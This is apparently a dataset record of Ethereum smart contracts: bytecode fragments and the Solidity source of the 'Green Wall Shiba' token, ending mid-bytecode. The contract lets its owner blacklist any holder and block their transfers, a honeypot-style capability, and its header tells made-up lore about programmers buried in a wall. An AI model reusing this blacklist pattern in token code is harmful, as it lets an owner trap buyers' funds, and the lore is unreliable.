b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122028a2602846820aed0fe78a321886bafaa59cfbe7d78508685c66c3e8f66aecba64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 7,727 |
0xe6ad00398ccfadab33208883a60ba16bcbc6a28b
|
// SPDX-License-Identifier: Unlicensed
/*
Green Wall Shiba
https://t.me/greenwallshiba
The last line of defence.
The beginning of the Great Wall of Shiba can be traced back to the era when Satoshi firstly established the idea of bitcoin. This was designed as the defence line to protect the transaction of digital currency from the problem of double spending. A digital currency or token used to be duplicated in multiple transactions and the construction of the Green wall of Shiba has successfully enabled Satoshi to mitigate this traditional problem.
However, when Satoshi ordered construction of the Great Wall of Shiba, the labor force that built the wall was made up largely of talented programmers and developers . It is said that as many as 400,000 people died during the wall's construction; many of these programmers and developers were buried within the wall itself.
The token of Green Wall Shiba is designed to pay tribute to those who sacrifice their life to build up the Green Wall Shiba. Show your support and become part of the supporting community.
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WALL is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GREEN WALL SHIBA";
string private constant _symbol = "WALL";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 2;
uint256 private _taxFeeJeets = 10;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 10;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x146f1001c6BdC053315633eae1E576fda2810152);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 2 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 1e10 * 10**9;
uint256 public _maxWalletSize = 2e10 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 1e10 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function newPair() external onlyOwner{
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 3 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e9 * 10**9, "Maximum transaction amount must be greater than 0.5%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
require(amountRedisJeets >= 0 && amountRedisJeets <= 1);
require(amountTaxJeets >= 0 && amountTaxJeets <= 19);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
require(hoursTime >= 0 && hoursTime <= 4);
timeJeets = hoursTime * 1 hours;
}
}
|
0x6080604052600436106102295760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e14610668578063e0f9f6a0146106ae578063ea1644d5146106ce578063f2fde38b146106ee578063fe72c3c11461070e57600080fd5b806395d89b41146105bb5780639ec350ed146105e85780639f13157114610608578063a9059cbb14610628578063c55284901461064857600080fd5b80637c519ffb116100f25780637c519ffb1461053c5780637d1db4a514610551578063881dce60146105675780638da5cb5b146105875780638f9a55c0146105a557600080fd5b806370a08231146104d1578063715018a6146104f157806374010ece14610506578063790ca4131461052657600080fd5b8063313ce567116101b15780634f6a05c2116101755780634f6a05c2146104515780635d098b38146104665780636b9cf534146104865780636d8aa8f81461049c5780636fc3eaec146104bc57600080fd5b8063313ce567146103b557806333251a0b146103d157806338eea22d146103f157806349bd5a5e146104115780634bf2c7c91461043157600080fd5b806318160ddd116101f857806318160ddd1461032157806323b872dd1461034757806327c8f8351461036757806328bb665a1461037d5780632fd689e31461039f57600080fd5b806306fdde0314610235578063095ea7b3146102805780630f3a325f146102b05780631694505e146102e957600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5060408051808201909152601081526f475245454e2057414c4c20534849424160801b60208201525b604051610277919061222a565b60405180910390f35b34801561028c57600080fd5b506102a061029b3660046120d5565b610724565b6040519015158152602001610277565b3480156102bc57600080fd5b506102a06102cb366004612021565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102f557600080fd5b50601954610309906001600160a01b031681565b6040516001600160a01b039091168152602001610277565b34801561032d57600080fd5b50683635c9adc5dea000005b604051908152602001610277565b34801561035357600080fd5b506102a0610362366004612094565b61073b565b34801561037357600080fd5b5061030961dead81565b34801561038957600080fd5b5061039d610398366004612101565b6107a4565b005b3480156103ab57600080fd5b50610339601d5481565b3480156103c157600080fd5b5060405160098152602001610277565b3480156103dd57600080fd5b5061039d6103ec366004612021565b610843565b3480156103fd57600080fd5b5061039d61040c366004612208565b6108b2565b34801561041d57600080fd5b50601a54610309906001600160a01b031681565b34801561043d57600080fd5b5061039d61044c3660046121ef565b610903565b34801561045d57600080fd5b5061039d610940565b34801561047257600080fd5b5061039d610481366004612021565b610b25565b34801561049257600080fd5b50610339601e5481565b3480156104a857600080fd5b5061039d6104b73660046121cd565b610b7f565b3480156104c857600080fd5b5061039d610bc7565b3480156104dd57600080fd5b506103396104ec366004612021565b610bf1565b3480156104fd57600080fd5b5061039d610c13565b34801561051257600080fd5b5061039d6105213660046121ef565b610c87565b34801561053257600080fd5b50610339600a5481565b34801561054857600080fd5b5061039d610d2b565b34801561055d57600080fd5b50610339601b5481565b34801561057357600080fd5b5061039d6105823660046121ef565b610d85565b34801561059357600080fd5b506000546001600160a01b0316610309565b3480156105b157600080fd5b50610339601c5481565b3480156105c757600080fd5b5060408051808201909152600481526315d0531360e21b602082015261026a565b3480156105f457600080fd5b5061039d610603366004612208565b610e01565b34801561061457600080fd5b5061039d6106233660046121cd565b610e52565b34801561063457600080fd5b506102a06106433660046120d5565b610e9a565b34801561065457600080fd5b5061039d610663366004612208565b610ea7565b34801561067457600080fd5b5061033961068336600461205b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106ba57600080fd5b5061039d6106c93660046121ef565b610ef8565b3480156106da57600080fd5b5061039d6106e93660046121ef565b610f42565b3480156106fa57600080fd5b5061039d610709366004612021565b610f80565b34801561071a57600080fd5b5061033960185481565b600061073133848461106a565b5060015b92915050565b600061074884848461118e565b61079a84336107958560405180606001604052806028815260200161242f602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906118b4565b61106a565b5060019392505050565b6000546001600160a01b031633146107d75760405162461bcd60e51b81526004016107ce9061227f565b60405180910390fd5b60005b815181101561083f576001600960008484815181106107fb576107fb6123ed565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610837816123bc565b9150506107da565b5050565b6000546001600160a01b0316331461086d5760405162461bcd60e51b81526004016107ce9061227f565b6001600160a01b03811660009081526009602052604090205460ff16156108af576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108dc5760405162461bcd60e51b81526004016107ce9061227f565b60018211156108ea57600080fd5b60018111156108f857600080fd5b600d91909155600f55565b6000546001600160a01b0316331461092d5760405162461bcd60e51b81526004016107ce9061227f565b600181111561093b57600080fd5b601355565b6000546001600